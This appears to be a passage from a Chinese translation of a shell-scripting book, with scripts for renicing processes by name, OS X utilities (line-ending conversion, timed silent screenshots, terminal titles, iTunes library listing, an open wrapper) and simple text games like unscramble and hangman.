有很多时候,改变任务的优先级是非常有用的,无论是聊天服务器应该只使用“空闲”周期,MP3 播放器应用程序不那么重要,文件下载变得不那么重要,还是实时 CPU 监视器需要提高优先级。您可以使用 renice 命令更改进程的优先级;然而,它要求您指定进程 ID,这可能会有些麻烦。一种更有用的方法是使用像 Listing 10-15 中的脚本,它通过匹配进程名称到进程 ID,自动调整指定应用程序的优先级。

代码

#!/bin/bash
# renicename--Renices the job that matches the specified name

user=""; tty=""; showpid=0; niceval="+1"        # Initialize

while getopts "n:u:t:p" opt; do
  case $opt in
   n ) niceval="$OPTARG";               ;;
   u ) if [ ! -z "$tty" ] ; then
         echo "$0: error: -u and -t are mutually exclusive." >&2
         exit 1
       fi
       user=$OPTARG                     ;;
   t ) if [ ! -z "$user" ] ; then
         echo "$0: error: -u and -t are mutually exclusive." >&2
         exit 1
       fi
       tty=$OPTARG                      ;;
   p ) showpid=1;                       ;;
   ? ) echo "Usage: $0 [-n niceval] [-u user|-t tty] [-p] pattern" >&2
       echo "Default niceval change is \"$niceval\" (plus is lower" >&2
       echo "priority, minus is higher, but only root can go below 0)" >&2
       exit 1
  esac
done
shift $(($OPTIND - 1))  # Eat all the parsed arguments.

if [ $# -eq 0 ] ; then
  echo "Usage: $0 [-n niceval] [-u user|-t tty] [-p] pattern" >&2
  exit 1
fi

if [ ! -z "$tty" ] ; then
  pid=$(ps cu -t $tty | awk "/ $1/ { print \\$2 }")
elif [ ! -z "$user" ] ; then
  pid=$(ps cu -U $user | awk "/ $1/ { print \\$2 }")
else
  pid=$(ps cu -U ${USER:-LOGNAME} | awk "/ $1/ { print \$2 }")
fi

if [ -z "$pid" ] ; then
  echo "$0: no processes match pattern $1" >&2
  exit 1
elif [ ! -z "$(echo $pid | grep ' ')" ] ; then
  echo "$0: more than one process matches pattern ${1}:"
  if [ ! -z "$tty" ] ; then
    runme="ps cu -t $tty"
  elif [ ! -z "$user" ] ; then
    runme="ps cu -U $user"
  else
    runme="ps cu -U ${USER:-LOGNAME}"
  fi
  eval $runme | \
      awk "/ $1/ { printf \"  user %-8.8s pid %-6.6s job %s\n\", \
      \$1,\$2,\$11 }"
  echo "Use -u user or -t tty to narrow down your selection criteria."
elif [ $showpid -eq 1 ] ; then
  echo $pid
else
  # Ready to go. Let's do it!
  /bin/echo -n "Renicing job \""
  /bin/echo -n $(ps cp $pid | sed 's/ [ ]*/ /g' | tail -1 |  cut -d\  -f6-)
  echo "\" ($pid)"
  renice $niceval $pid
fi

exit 0

Listing 10-15: The *renicename* 脚本

工作原理

该脚本借鉴了 Script #47 在 第 150 页 上的代码,该脚本执行了类似的进程名称到进程 ID 的映射——不过那个脚本是结束作业,而不是仅仅降低它们的优先级。

在这种情况下,您不想不小心调整多个匹配进程的优先级(例如,想象一下 renicename -n 10 "*" ),因此如果匹配的进程超过一个,脚本会失败。否则,它会进行指定的更改,并允许实际的 renice 程序报告可能遇到的任何错误。

运行脚本

运行此脚本时,您有多个可选选项:-n val 允许您指定所需的 nice(作业优先级)值。默认值为 niceval=1-u user 标志允许按用户限制匹配的进程,而 -t tty 允许按终端名称进行类似的筛选。要仅查看匹配的进程 ID,而不实际更改应用程序的优先级,可以使用 -p 标志。除了一个或多个标志,renicename 还需要一个命令模式,该模式将与系统上运行的进程名称进行比较,以确定哪些进程匹配。

结果

首先,Listing 10-16 展示了当有多个匹配的进程时会发生什么情况。

$ renicename "vi"
renicename: more than one process matches pattern vi:
  user taylor    pid 6584    job vi
  user taylor    pid 10949   job vi
Use -u user or -t tty to narrow down your selection criteria.

Listing 10-16: 运行 *renicename* 脚本,使用具有多个进程 ID 的进程名称

随后,我们退出了其中一个进程,并运行了相同的命令。

$ renicename "vi"
Renicing job "vi" (6584)

我们可以确认这个操作是有效的,并且通过使用 -l 标志配合指定的进程 ID 来查看我们的 vi 进程已被优先处理,如 Listing 10-17 所示。

$ ps –l 6584
UID   PID  PPID     F CPU PRI NI        SZ   RSS WCHAN    S   ADDR TTY                 TIME CMD
501  6584  1193  4006   0  30  1➊  2453832  1732     -  SN+  0 ttys000  0:00.01 vi wasting.time

Listing 10-17: 确认进程已被正确调整优先级

ps命令的这个超宽输出格式很难读取,但请注意第 7 列是NI,对于这个进程,它的值是 1 ➊。检查你运行的其他进程,你会看到它们的优先级都是 0,这是标准用户的优先级水平。

破解脚本

这个脚本的一个有趣补充是另一个脚本,它监视任何启动的时间敏感程序,并自动将其调整为设定的优先级。如果某些互联网服务或应用程序消耗大量 CPU 资源,这可能会很有帮助。例如,列表 10-18 使用renicename将进程名映射到进程 ID,然后检查进程当前的 nice 级别。如果作为命令参数指定的 nice 级别低于当前级别(即优先级较低),则会发出renice命令。

#!/bin/bash
# watch_and_nice--Watches for the specified process name and renices it
#   to the desired value when seen.

if [ $# -ne 2 ] ; then
  echo "Usage: $(basename $0) desirednice jobname" >&2
  exit 1
fi

pid="$(renicename -p "$2")"

if [ "$pid" == "" ] ; then
  echo "No process found for $2"
  exit 1
fi

if [ ! -z "$(echo $pid | sed 's/[0-9]*//g')" ] ; then
  echo "Failed to make a unique match in the process table for $2" >&2
  exit 1
fi

currentnice="$(ps -lp $pid | tail -1 | awk '{print $6}')"

if [ $1 -gt $currentnice ] ; then
  echo "Adjusting priority of $2 to $1"
  renice $1 $pid
fi

exit 0

列表 10-18: *watch_and_nice* 脚本

cron作业中,可以使用此脚本确保某些应用在启动后几分钟内被推送到所需的优先级。

第十二章:OS X 脚本

image

Unix 及类 Unix 操作系统世界中的一个重要变化是完全重写的 OS X 系统的发布,这个系统建立在一个可靠的 Unix 内核上,名为 Darwin。Darwin 是一个基于 BSD Unix 的开源 Unix 系统。如果你了解 Unix,当你第一次在 OS X 中打开 Terminal 应用程序时,你无疑会欣喜若狂。最新一代的 Mac 电脑包括了你需要的一切,从开发工具到标准的 Unix 工具,配备了一个美丽的图形界面,非常适合那些还未准备好使用这些强大功能的用户。

然而,OS X 和 Linux/Unix 之间存在显著的差异,因此学习一些可以帮助你日常操作的 OS X 技巧是很有用的。例如,OS X 有一个有趣的命令行应用程序叫做open,它允许你从命令行启动图形应用程序。但open并不十分灵活。如果你想打开微软 Excel,输入open excel是行不通的,因为open比较挑剔,它期待你输入open -a "Microsoft Excel"。在本章后面,我们将编写一个包装脚本来绕过这个挑剔的行为。

修复 OS X 行尾问题

这里有另一种偶尔会遇到的情况,通过小小的调整可以变得更简单。如果你在命令行中处理为 Mac 的图形界面创建的文件,你会发现这些文件中的行尾字符与命令行需要的字符不一样。从技术术语来说,OS X 系统使用回车符(\r表示法)作为行尾,而 Unix 系统则使用换行符(\n)。所以,Mac 文件在终端中显示时不会有适当的换行。

有一个文件正遭遇这个问题吗?如果你尝试使用cat命令输出文件内容,你会看到下面的结果。

$ cat mac-format-file.txt
$

但你知道这个文件并不是空的。要查看其中有内容,使用cat命令的-v标志,它会使所有隐藏的控制字符可见。现在你会看到如下内容:

$ cat -v mac-format-file.txt
The rain in Spain^Mfalls mainly on^Mthe plain.^MNo kidding. It does.^M $

显然出了点问题!幸运的是,使用tr命令将回车符替换为正确的换行符非常简单。

$ tr '\r' '\n' < mac-format-file.txt > unix-format-file.txt

一旦将这个应用到示例文件,事情就变得更加明了。

$ tr '\r' '\n' < mac-format-file.txt
The rain in Spain
falls mainly on
the plain.
No kidding. It does.

如果你在像 Microsoft Word 这样的 Mac 应用程序中打开一个 Unix 文件,并且它看起来非常混乱,你也可以将行尾字符转换到另一个方向——转向 Aqua 应用程序。

$ tr '\n' '\r' < unixfile.txt > macfile.txt

嗯,这只是你在 OS X 中会看到的一些小差异之一。我们必须处理这些小怪癖,但也可以利用 OS X 的一些更好特性。

让我们开始吧,好吗?

#79 自动化屏幕截图

如果你使用 Mac 电脑已经有一段时间了,你应该知道它内置了屏幕截图功能,通过按下image-SHIFT-3 就能激活。你还可以使用 OS X 中的实用工具PreviewGrab,它们分别位于“应用程序”和“实用工具”文件夹中,也有很多出色的第三方工具可以选择。

但是你知道吗,其实有一个命令行的替代方案?这个超级有用的程序screencapture可以截取当前屏幕的截图,并将其保存到剪贴板或者指定的文件中(JPEG 或 TIFF 格式)。输入没有定义参数的命令,你将看到它的基本操作,如下所示:

$ screencapture -h
screencapture: illegal option -- h
usage: screencapture [-icMPmwsWxSCUtoa] [files]
  -c         force screen capture to go to the clipboard
  -C         capture the cursor as well as the screen. only in non-interactive
modes
  -d         display errors to the user graphically
  -i         capture screen interactively, by selection or window
               control key - causes screen shot to go to clipboard
               space key   - toggle between mouse selection and
                             window selection modes
               escape key  - cancels interactive screen shot
  -m         only capture the main monitor, undefined if -i is set
  -M         screen capture output will go to a new Mail message
  -o         in window capture mode, do not capture the shadow of the window
  -P         screen capture output will open in Preview
  -s         only allow mouse selection mode
  -S         in window capture mode, capture the screen not the window
  -t<format> image format to create, default is png (other options include
pdf, jpg, tiff and other formats)
  -T<seconds> Take the picture after a delay of <seconds>, default is 5
  -w         only allow window selection mode
  -W         start interaction in window selection mode
  -x         do not play sounds
  -a         do not include windows attached to selected windows
  -r         do not add dpi meta data to image
  -l<windowid> capture this windowsid
  -R<x,y,w,h> capture screen rect
  files   where to save the screen capture, 1 file per screen

这是一个非常需要包装脚本的应用程序。例如,要在 30 秒后截取屏幕截图,你可以使用以下命令:

$ sleep 30; screencapture capture.tiff

但是,让我们做些更有趣的事情,好吗?

代码

列表 11-1 显示了我们如何自动化screencapture工具,以便它能更加隐秘地截取屏幕截图。

   #!/bin/bash
   # screencapture2--Use the OS X screencapture command to capture a sequence of
   #   screenshots of the main window, in stealth mode. Handy if you're in a
   #   questionable computing environment!

   capture="$(which screencapture) -x -m -C"
➊ freq=60         # Every 60 seconds
   maxshots=30     # Max screen captures
   animate=0       # Create animated gif? No.

   while getopts "af:m" opt; do
     case $opt in
      a ) animate=1;                  ;;
      f ) freq=$OPTARG;               ;;
      m ) maxshots=$OPTARG;           ;;  # Quit after specified num of pics
      ? ) echo "Usage: $0 [-a] [-f frequency] [-m maxcaps]" >&2
          exit 1
     esac
   done

   counter=0

   while [ $counter -lt $maxshots ] ; do
     $capture capture${counter}.jpg   # Counter keeps incrementing.
     counter=$(( counter + 1 ))
     sleep $freq   # freq is therefore the number of seconds between pics.
   done

   # Now, optionally, compress all the individual images into an animated GIF.

   if [ $animate -eq 1 ] ; then
➋   convert -delay 100 -loop 0 -resize "33%" capture* animated-captures.gif
   fi

   # No exit status to stay stealthy
   exit 0

列表 11-1:*screencapture2*包装脚本

工作原理

这将在每个$freq秒 ➊ 截取一张截图,直到达到$maxshots次截图(默认为每 60 秒截取一次,总共 30 次)。输出是一系列的 JPEG 文件,按顺序编号,从 0 开始。这对训练目的非常有用,或者如果你怀疑有人在你午休时使用了你的电脑:设置这个,然后你可以在没有人察觉的情况下回顾发生的事情。

脚本的最后部分很有趣:它可选择通过使用 ImageMagick 的convert工具 ➋ 生成一个原始图像大小的三分之一的动画 GIF。这是一个非常方便的方式,可以一次性查看所有图像。在第十四章中,我们会更多地使用 ImageMagick!你可能在 OS X 系统上没有默认安装这个命令,但是通过使用像brew这样的包管理工具,你可以通过一个命令安装它(brew install imagemagick)。

运行脚本

因为这段代码是设计用来在后台隐秘运行的,所以基本的调用方式很简单:

$ screencapture2 &
$

就是这么简单。作为示例,要指定截取多少次截图(30 次)以及何时截取(每 5 秒一次),你可以像这样启动screencapture2脚本:

$ screencapture2 -f 5 -m 30 &
$

结果

运行脚本不会有任何输出,但会出现新文件,如列表 11-2 所示。(如果你指定了-a动画标志,你将会看到额外的结果。)

$ ls -s *gif *jpg
 4448 animated-captures.gif      4216 capture2.jpg      25728 capture5.jpg
 4304 capture0.jpg               4680 capture3.jpg      4456 capture6.jpg
 4296 capture1.jpg               4680 capture4.jpg

列表 11-2:通过*screencapture2*捕捉的屏幕图像,记录了一个时间段内的截图

破解脚本

对于一个长期的屏幕监视工具,你需要找到一种方法来检查屏幕何时真正发生变化,这样就不会用无趣的屏幕截图浪费硬盘空间。有一些第三方解决方案可以让screencapture运行更长时间,保存屏幕实际变化的历史,而不是保存成百上千份相同的、未改变的屏幕截图。(请注意,如果你的屏幕上有时钟显示,每一张屏幕截图都会稍微不同,这会让你更难避免这个问题!)

借助这个功能,你可以将“monitor ON”和“monitor OFF”作为一个包装器,启动捕捉序列并分析图像是否与第一次捕捉的不同。但是,如果你使用这个脚本的 GIF 来制作在线培训教程,你可能会使用更精细的控制来设置捕捉的时长,并将这一时长作为命令行参数。

#80 动态设置终端标题

列出 11-3 是一个有趣的小脚本,适用于喜欢在终端应用程序中工作的 OS X 用户。你不再需要使用终端 image 偏好设置 image 配置文件 image 窗口对话框来设置或更改窗口标题,而是可以使用此脚本随时更改它。在这个例子中,我们将通过将当前工作目录包含在内,让终端窗口的标题变得更加实用。

代码

   #!/bin/bash
   # titleterm--Tells the OS X Terminal application to change its title
   #   to the value specified as an argument to this succinct script

   if [ $# -eq 0 ]; then
     echo "Usage: $0 title" >&2
     exit 1
   else
➊   echo -e "\033]0;$@\007"
   fi

   exit 0

列出 11-3: *titleterm* 脚本

它是如何工作的

终端应用程序有多种它能识别的秘密转义码,而titleterm脚本会发送一串ESC ] 0; title BEL ➊,这会将标题更改为指定的值。

运行脚本

要更改终端窗口的标题,只需将你想要的标题作为参数输入titleterm即可。

结果

命令没有明显的输出,正如列出 11-4 所示。

$ titleterm $(pwd)
$

列出 11-4:运行 *titleterm* 脚本,将终端标题设置为当前目录的标题

然而,它会立即将终端窗口的标题更改为当前工作目录。

破解脚本

只需在登录脚本(* .bash_profile * 或根据你使用的登录 shell 选择其他文件)中添加一个小的修改,就可以让终端窗口的标题自动显示当前的工作目录。例如,要使这段代码显示你当前的工作目录,你可以在tcsh中使用以下代码:

alias precmd 'titleterm "$PWD"'                      [tcsh]

或者在bash中使用这个:

export PROMPT_COMMAND="titleterm \"\$PWD\""          [bash]

只需将上述命令之一放入登录脚本中,从下次打开终端窗口开始,你会发现每次进入新目录时,窗口标题都会发生变化。真是非常有用。

#81 生成 iTunes 库的汇总列表

如果你使用 iTunes 已有一段时间,肯定会有一个庞大的音乐、有声书、电影和电视节目列表。不幸的是,尽管 iTunes 功能强大,但并没有一个简单的方法以简洁易读的格式导出你的音乐列表。幸运的是,编写一个提供此功能的脚本并不困难,列表 11-5 就展示了这个脚本。这个脚本依赖于 iTunes 的“与其他应用程序共享 iTunes XML”功能,因此在运行此脚本之前,确保在 iTunes 偏好设置中启用了此功能。

代码

   #!/bin/bash
   # ituneslist--Lists your iTunes library in a succinct and attractive
   #   manner, suitable for sharing with others, or for synchronizing
   #   (with diff) iTunes libraries on different computers and laptops

   itunehome="$HOME/Music/iTunes"
   ituneconfig="$itunehome/iTunes Music Library.xml"

➊ musiclib="/$(grep '>Music Folder<' "$ituneconfig" | cut -d/ -f5- | \
     cut -d\< -f1 | sed 's/%20/ /g')"

   echo "Your library is at $musiclib"

   if [ ! -d "$musiclib" ] ; then
     echo "$0: Confused: Music library $musiclib isn't a directory?" >&2
     exit 1
   fi

   exec find "$musiclib" -type d -mindepth 2 -maxdepth 2 \! -name '.*' -print \
     | sed "s|$musiclib/||"

列表 11-5: *ituneslist* 脚本

工作原理

像许多现代计算机应用程序一样,iTunes 希望其音乐库位于一个标准位置——在这个例子中是 ~/Music/iTunes/iTunes Media/——但也允许你将其移到其他位置。脚本需要能够确定不同的位置,这可以通过从 iTunes 偏好设置文件中提取 Music Folder 字段值来完成。这正是 ➊ 处管道命令的作用。

偏好设置文件($ituneconfig)是一个 XML 数据文件,因此需要一些切割操作来确定准确的 Music Folder 字段值。以下是 Dave 的 iTunes 配置文件中 iTunes Media 值的样子:

file://localhost/Users/taylor/Music/iTunes/iTunes %20Media/

iTunes Media 值实际上是以完全限定的 URL 存储的,颇为有趣,因此我们需要去掉 file://localhost/ 前缀。这是第一个 cut 命令的工作。最后,由于许多 OS X 目录中包含空格,且 Music Folder 字段以 URL 格式保存,该字段中的所有空格都被映射为 %20 序列,必须通过 sed 命令将其还原为空格,然后才能继续操作。

确定了 Music Folder 名称后,现在可以很容易地在两台 Mac 系统上生成音乐列表,然后使用 diff 命令进行比较,这使得查看哪些专辑是某一系统独有的变得轻松,或许可以进行同步。

运行脚本

这个脚本没有命令参数或标志。

结果

如果你有一个庞大的音乐收藏,脚本的输出可能会非常大。列表 11-6 显示了 Dave 音乐收藏输出的前 15 行。

$ ituneslist | head -15
Your library is at /Users/taylor/Music/iTunes/iTunes Media/
Audiobooks/Andy Weir
Audiobooks/Barbara W. Tuchman
Audiobooks/Bill Bryson
Audiobooks/Douglas Preston
Audiobooks/Marc Seifer
Audiobooks/Paul McGann
Audiobooks/Robert Louis Stevenson
iPod Games/Klondike
Movies/47 Ronin (2013)
Movies/Mad Max (1979)
Movies/Star Trek Into Darkness (2013)
Movies/The Avengers (2012)
Movies/The Expendables 2 (2012)
Movies/The Hobbit The Desolation of Smaug (2013)

列表 11-6:运行 *ituneslist* 脚本以打印 iTunes 收藏中的顶级项目

修改脚本

好吧,这不完全是关于修改脚本本身的,但由于 iTunes 库目录是作为完全限定的 URL 存储的,尝试将 iTunes 目录设为可以通过 Web 访问的目录,并将该目录的 URL 作为 XML 文件中的 Music Folder 值,应该会很有趣......

#82 修复 open 命令

OS X 的一项有趣创新是增加了 open 命令,它可以让你轻松启动几乎任何类型文件的相应应用程序,无论是图形图像、PDF 文档还是 Excel 表格。open 命令的问题在于它有些古怪。如果你想让它启动一个指定的应用程序,你必须包含 -a 标志。如果你没有指定准确的应用程序名称,它会报错并失败。这正是像 清单 11-7 中的封装脚本可以解决的问题。

代码

   #!/bin/bash
   # open2--A smart wrapper for the cool OS X 'open' command
   #   to make it even more useful. By default, 'open' launches the
   #   appropriate application for a specified file or directory
   #   based on the Aqua bindings, and it has a limited ability to
   #   launch applications if they're in the /Applications dir.

   #   First, whatever argument we're given, try it directly.

➊ if ! open "$@" >/dev/null 2>&1 ; then
     if ! open -a "$@" >/dev/null 2>&1 ; then

       # More than one arg? Don't know how to deal with it--quit.
       if [ $# -gt 1 ] ; then
         echo "open: More than one program not supported" >&2
         exit 1
       else
➋         case $(echo $1 | tr '[:upper:]' '[:lower:]') in
           activ*|cpu   ) app="Activity Monitor"           ;;
           addr*        ) app="Address Book"               ;;
           chat         ) app="Messages"                   ;;
           dvd          ) app="DVD Player"                 ;;
           excel        ) app="Microsoft Excel"            ;;
           info*        ) app="System Information"         ;;
           prefs        ) app="System Preferences"         ;;
           qt|quicktime ) app="QuickTime Player"           ;;
           word         ) app="Microsoft Word"             ;;
           *            ) echo "open: Don't know what to do with $1" >&2
               exit 1
         esac
         echo "You asked for $1 but I think you mean $app." >&2
         open -a "$app"
       fi
     fi
   fi

   exit 0

清单 11-7: *open2* 脚本

工作原理

这个脚本围绕零返回码和非零返回码展开,其中 open 程序在成功时返回零代码,在失败时返回非零代码 ➊。

如果提供的参数不是文件名,第一个条件判断会失败,脚本会通过添加 a 来测试提供的参数是否是有效的应用程序名称。如果第二个条件判断失败,脚本会使用 case 语句 ➋ 来检查人们常用来指代流行应用程序的常见昵称。

它甚至会在匹配到昵称时提供友好的提示信息,然后再启动指定的应用程序。

$ open2 excel
You asked for excel but I think you mean Microsoft Excel.

运行脚本

open2 脚本要求在命令行中指定一个或多个文件名或应用程序名称。

结果

如果没有这个封装程序,尝试打开 Microsoft Word 应用程序会失败。

$ open "Microsoft Word"
The file /Users/taylor/Desktop//Microsoft Word does not exist.

尽管出现了一条相当吓人的错误信息,但那仅仅是因为用户没有提供 -a 标志。使用 open2 脚本相同的调用则表明,不再需要记住 -a 标志:

$ open2 "Microsoft Word"
$

没有输出是好事:应用程序已启动并准备就绪。此外,常见 OS X 应用程序的昵称系列意味着,虽然 open -a word 绝对无法使用,但 open2 word 则能正常工作。

修改脚本

如果昵称列表根据你的具体需求或用户社区的需求进行了定制,这个脚本会变得更加有用。那应该很容易做到!

第十三章:SHELL 脚本趣味与游戏

image

到目前为止,我们关注的是 Shell 脚本的严肃应用,旨在改善你与系统的互动,并使系统更具灵活性和强大功能。但是,Shell 脚本还有另一个值得探索的方面:游戏。

别担心——我们并不是提议你把Fallout 4写成 Shell 脚本。只是有一些简单的游戏,非常适合用 Shell 脚本来编写,并且具有很高的可读性。你不希望通过一些有趣的脚本来学习如何调试 Shell 脚本,而不是通过一些暂停用户帐户或分析 Apache 错误日志的工具吗?

对于其中的一些脚本,你需要从书籍资源中获取文件,文件可以在www.nostarch.com/wcss2/找到,如果你还没有下载文件,现在就去下载。

两个快速技巧

这里有两个快速示例,向你展示我们的意思。首先,老派的 Usenet 用户知道rot13,这是一种简单的机制,通过这种机制,黄色笑话和猥亵文字会被模糊化,使它们稍微不那么容易被读取。这是一种替代加密,在 Unix 中非常容易实现。

要对某个内容进行 rot13 编码,可以通过tr命令来处理。

tr '[a-zA-Z]' '[n-za-mN-ZA-M]'

这是一个例子:

$ echo "So two people walk into a bar..." | tr '[a-zA-Z]' '[n-za-mN-ZA-M]'
Fb gjb crbcyr jnyx vagb n one...

要解开它,应用相同的转换:

$ echo 'Fb gjb crbcyr jnyx vagb n one...' | tr '[a-zA-Z]' '[n-za-mN-ZA-M]'
So two people walk into a bar...

这种著名的替代加密方法与电影2001 太空漫游有关。还记得计算机的名字吗?来看一下:

$ echo HAL | tr '[a-zA-Z]' '[b-zaB-ZA]'
IBM

另一个简短的示例是回文检测器。输入你认为是回文的内容,代码将对其进行测试。

testit="$(echo $@ | sed 's/[^[:alpha:]]//g' | tr '[:upper:]' '[:lower:]')"
backward="$(echo $testit | rev)"

if [ "$testit" = "$backward" ] ; then
  echo "$@ is a palindrome"
else
  echo "$@ is not a palindrome"
fi

回文是一个前后相同的单词,因此第一步是去除所有非字母字符,并确保所有字母都是小写字母。然后,Unix 工具rev会反转输入行中的字母。如果正向和反向版本相同,那么就是回文;如果不同,则不是回文。

本章中的游戏只是稍微复杂一点,但都非常有趣,值得添加到你的系统中。

#83 解谜:文字游戏

这是一个基本的字谜游戏。如果你曾在报纸上玩过Jumble游戏,或者玩过任何文字游戏,你应该熟悉这个概念:随机挑选一个单词并将其打乱。你的任务是在最少的回合内找出原始单词。这个游戏的完整脚本在清单 12-1 中,但要获取单词列表,你还需要从书籍资源中下载long-words.txt文件,网址是www.nostarch.com/wcss2/,并将其保存在目录/usr/lib/games中。

代码

   #!/bin/bash
   # unscramble--Picks a word, scrambles it, and asks the user to guess
   #   what the original word (or phrase) was

   wordlib="/usr/lib/games/long-words.txt"

   scrambleword()
   {
     # Pick a word randomly from the wordlib and scramble it.
     #   Original word is $match, and scrambled word is $scrambled.

     match="$(➊randomquote $wordlib)"

     echo "Picked out a word!"

     len=${#match}
     scrambled=""; lastval=1

     for (( val=1; $val < $len ; ))
     do
➋     if [ $(($RANDOM % 2)) -eq 1 ] ; then
         scrambled=$scrambled$(echo $match | cut -c$val)
       else
         scrambled=$(echo $match | cut -c$val)$scrambled
       fi
       val=$(( $val + 1 ))
     done
   }

   if [ ! -r $wordlib ] ; then
     echo "$0: Missing word library $wordlib" >&2
     echo "(online: http://www.intuitive.com/wicked/examples/long-words.txt" >&2
     echo "save the file as $wordlib and you're ready to play!)" >&2
     exit 1
   fi

   newgame=""; guesses=0; correct=0; total=0

➌ until [ "$guess" = "quit" ] ; do

     scrambleword
 echo ""
     echo "You need to unscramble: $scrambled"

     guess="??" ; guesses=0
     total=$(( $total + 1 ))

➍ while [ "$guess" != "$match" -a "$guess" != "quit" -a "$guess" != "next" ]
     do
       echo ""
       /bin/echo -n "Your guess (quit|next) : "
       read guess

       if [ "$guess" = "$match" ] ; then
         guesses=$(( $guesses + 1 ))
         echo ""
         echo "*** You got it with tries = ${guesses}! Well done!! ***"
         echo ""
         correct=$(( $correct + 1 ))
       elif [ "$guess" = "next" -o "$guess" = "quit" ] ; then
         echo "The unscrambled word was \"$match\". Your tries: $guesses"
       else
         echo "Nope. That's not the unscrambled word. Try again."
         guesses=$(( $guesses + 1 ))
       fi
     done
   done

   echo "Done. You correctly figured out $correct out of $total scrambled words."

   exit 0

清单 12-1: *unscramble* Shell 脚本游戏

工作原理

要从文件中随机选取一行,脚本使用了 randomquote (参见 Script #68 ,第 213 页) ➊,即使该脚本最初是为处理网页而编写的(就像许多优秀的 Unix 工具一样,事实上,它在其他场景中也非常有用)。

这个脚本最难的部分是弄清楚如何打乱单词。虽然没有直接可用的 Unix 工具,但事实证明,如果我们按字母逐个检查正确拼写的单词,并随机将每个后续字母加到打乱序列的开头或结尾,那么我们每次都能以不同且不可预测的方式打乱单词 ➋。

注意 $scrambled 在两行中的位置:在第一行中,添加的字母被追加,而在第二行中,它被放置在开头。

否则,游戏的主要逻辑应该很容易理解:外层的 until 循环 ➌ 会一直运行,直到用户输入 quit 作为猜测,而内层的 while 循环 ➍ 会一直运行,直到用户猜出单词或输入 next 跳到下一个单词。

运行脚本

这个脚本没有参数或选项,所以只需输入名称即可开始游戏!

结果

运行后,脚本会将各种长度的打乱单词呈现给用户,并跟踪用户成功解开的单词数量,如 Listing 12-2 所示。

$ unscramble
Picked out a word!

You need to unscramble: ninrenoccg

Your guess (quit|next) : concerning

*** You got it with tries = 1! Well done!! ***

Picked out a word!

You need to unscramble: esivrmipod

Your guess (quit|next) : quit
The unscrambled word was "improvised". Your tries: 0
Done. You correctly figured out 1 out of 2 scrambled words.

Listing 12-2: 运行 *unscramble* shell 脚本游戏

显然第一个猜测非常有灵感!

破解脚本

提供某种线索的方式会让这个游戏更加有趣,如果能有一个提示最小可接受单词长度的标志,那就更好了。为了实现前者,或许可以将未打乱单词的前 n 个字母展示出来,作为一种在得分中扣除的惩罚;每次请求提示时,都会展示一个额外的字母。对于后者,你需要一个扩展的单词字典,因为脚本中包含的字典的最小单词长度为 10 个字母——这有点难!

#84 刽子手:在为时已晚之前猜出单词

“刽子手”是一个带有恐怖隐喻的文字游戏,尽管如此,它依然是一个令人愉快的经典游戏。在这个游戏中,你需要猜测隐藏单词中的字母,每次猜错时,吊在绞刑架上的人就会多出一部分身体。如果你猜错太多次,那个“人”就会被完全画出,这样不仅你会失败,嗯,你大概也会死。后果相当严苛!

然而,游戏本身很有趣,且将其编写为 shell 脚本证明意外地简单,如 Listing 12-3 所示。对于这个脚本,你仍然需要我们在 Script #83 中使用的单词列表,该文件位于 第 275 页:将书中的 long-words.txt 文件保存在目录 /usr/lib/games 中。

代码

   #!/bin/bash
   # hangman--A simple version of the hangman game. Instead of showing a
   #   gradually embodied hanging man, this simply has a bad-guess countdown.
   #   You can optionally indicate the initial distance from the gallows as
   #   the only argument.

   wordlib="/usr/lib/games/long-words.txt"
   empty="\."      # We need something for the sed [set] when $guessed="".
   games=0

   # Start by testing for our word library datafile.

   if [ ! -r "$wordlib" ] ; then
     echo "$0: Missing word library $wordlib" >&2
     echo "(online: http://www.intuitive.com/wicked/examples/long-words.txt" >&2
     echo "save the file as $wordlib and you're ready to play!)" >&2
     exit 1
   fi

   # The big while loop. This is where everything happens.

   while [ "$guess" != "quit" ] ; do
     match="$(randomquote $wordlib)"      # Pick a new word from the library.

     if [ $games -gt 0 ] ; then
       echo ""
       echo "*** New Game! ***"
     fi

     games="$(( $games + 1 ))"
     guessed="" ; guess="" ; bad=${1:-6}
     partial="$(echo $match | sed "s/[^$empty${guessed}]/-/g")"

     # The guess > analyze > show results > loop happens in this block.

     while [ "$guess" != "$match" -a "$guess" != "quit" ] ; do

       echo ""
       if [ ! -z "$guessed" ] ; then # Remember, ! –z means "is not empty".
         /bin/echo -n "guessed: $guessed, "
       fi
       echo "steps from gallows: $bad, word so far: $partial"

       /bin/echo -n "Guess a letter: "
       read guess
       echo ""
       if [ "$guess" = "$match" ] ; then   # Got it!
         echo "You got it!"
       elif [ "$guess" = "quit" ] ; then   # You're out? Okay.
         exit 0
       # Now we need to validate the guess with various filters.
➊     elif [ $(echo $guess | wc -c | sed 's/[^[:digit:]]//g') -ne 2 ] ; then
         echo "Uh oh: You can only guess a single letter at a time"
➋     elif [ ! -z "$(echo $guess | sed 's/[[:lower:]]//g')" ] ; then
         echo "Uh oh: Please only use lowercase letters for your guesses"
➌     elif [ -z "$(echo $guess | sed "s/[$empty$guessed]//g")" ] ; then
         echo "Uh oh: You have already tried $guess"
       # Now we can actually see if the letter appears in the word.
➍     elif [ "$(echo $match | sed "s/$guess/-/g")" != "$match" ] ; then
         guessed="$guessed$guess"
➎     partial="$(echo $match | sed "s/[^$empty${guessed}]/-/g")"
         if [ "$partial" = "$match" ] ; then
           echo "** You've been pardoned!! Well done! The word was \"$match\"."
           guess="$match"
         else
           echo "* Great! The letter \"$guess\" appears in the word!"
         fi
       elif [ $bad -eq 1 ] ; then
         echo "** Uh oh: you've run out of steps. You're on the platform..."
         echo "** The word you were trying to guess was \"$match\""
         guess="$match"
       else
         echo "* Nope, \"$guess\" does not appear in the word."
         guessed="$guessed$guess"
         bad=$(( $bad - 1 ))
       fi
     done
   done
   exit 0

Listing 12-3: The *hangman* shell 脚本游戏

工作原理

这个脚本中的测试都很有趣,值得仔细检查。考虑一下在 ➊ 处的测试,它检查玩家是否输入了多个字母作为猜测。

为什么测试值是 2 而不是 1?因为输入的值包含了用户按下 ENTER 键时产生的回车符(即字符 \n),如果正确输入,它将有两个字母,而不是一个。这个语句中的 sed 会去除所有非数字字符,当然是为了避免与 wc 喜欢输出的前导制表符产生混淆。

测试小写字母是否正确非常简单 ➋。去除guess中的所有小写字母,看看结果是否为零(空)。

最后,为了检查用户是否已经猜过某个字母,将猜测转换为:将guess中与guessed变量中已出现的字母去除。结果是零(空)还是其他 ➌?

